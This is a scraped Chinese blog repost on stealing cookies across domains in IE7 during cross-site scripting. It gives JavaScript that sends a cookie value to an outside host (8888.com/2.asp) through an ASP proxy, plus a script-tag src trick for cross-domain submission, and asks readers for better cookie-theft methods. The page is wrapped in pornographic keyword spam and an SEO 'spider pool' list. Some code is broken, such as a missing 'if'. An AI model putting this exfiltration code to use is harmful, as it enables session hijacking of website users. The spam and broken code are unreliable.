国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 開發 > AJAX > 正文

ie7下利用ajax跨域盜取cookie的解決辦法

2024-09-01 08:31:48
字體:
來源:轉載
供稿:網友
網上的很多文章提到的利用ajax盜取cookie的代碼經我測試不可行。

研究了一下午,第一個難題是ajax跨域提交數據,可以用web代理來解決,上的a.htm代碼:
<script>
function getXmlHttpRequest(){
if(window.ActiveXObject){
var ieArr=["Msxml2.XMLHTTP","Microsoft.XMLHTTP"];
for(var i=0;i<ieArr.length;i++)
{
var xmlhttp= new ActiveXObject(ieArr[i]);
}
return xmlhttp;
} else if(window.XMLHttpRequest){
return new XMLHttpRequest();
}
}
var xmlHttp=getXmlHttpRequest();
xmlHttp.Open("get","?url=http://8888.com/2.asp?cookie=mmm",true);
xmlHttp.send(null)

</script>

其中web.asp是一個asp代理。

這樣直接訪問是可以成功發送數據的。但是在跨站中,假如我們要跨192.168.8.108的站,這樣來講肯定不能讓我們放一個web.asp在上邊的,所以這種辦法不可行。

另外,其它的ie7.0下跨站想盜取cookie一般都會用到iframe標簽,在沒有研究成功ajax發送的情況下,經過搜索發現了另一種跨站的思路,不需要用iframe來跨域提交,代碼:

<script LANGUAGE="Javascript" src="" id="get">
</script>
<script LANGUAGE="Javascript">
<!--
function get(url)
{
var obj = document.getElementById("get");
obj.src = url;
(obj.readStatus == 200)
{
eval(alert("ok"));
}
}
get("?cookie=12345678")

/*function query()
{
get(""); //在這里可以寫代碼,像把alert("ok")里的ok換成變量,1.img 中的代碼是var ok="123"
}
//-->
*/

</script>

至于有其它更好的辦法,在IE7下能直接ajax跨域盜取cookie的歡迎討論

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 和平县| 阿尔山市| 招远市| 浮山县| 平南县| 二连浩特市| 五大连池市| 繁峙县| 和平县| 镇江市| 淳化县| 双城市| 杨浦区| 浦城县| 慈溪市| 五原县| 手游| 互助| 申扎县| 嘉禾县| 旅游| 易门县| 资兴市| 伊通| 东安县| 堆龙德庆县| 聊城市| 邢台县| 盐城市| 涟源市| 达日县| 肃宁县| 榆社县| 玉田县| 秭归县| 法库县| 秦安县| 白山市| 株洲县| 定陶县| 台州市|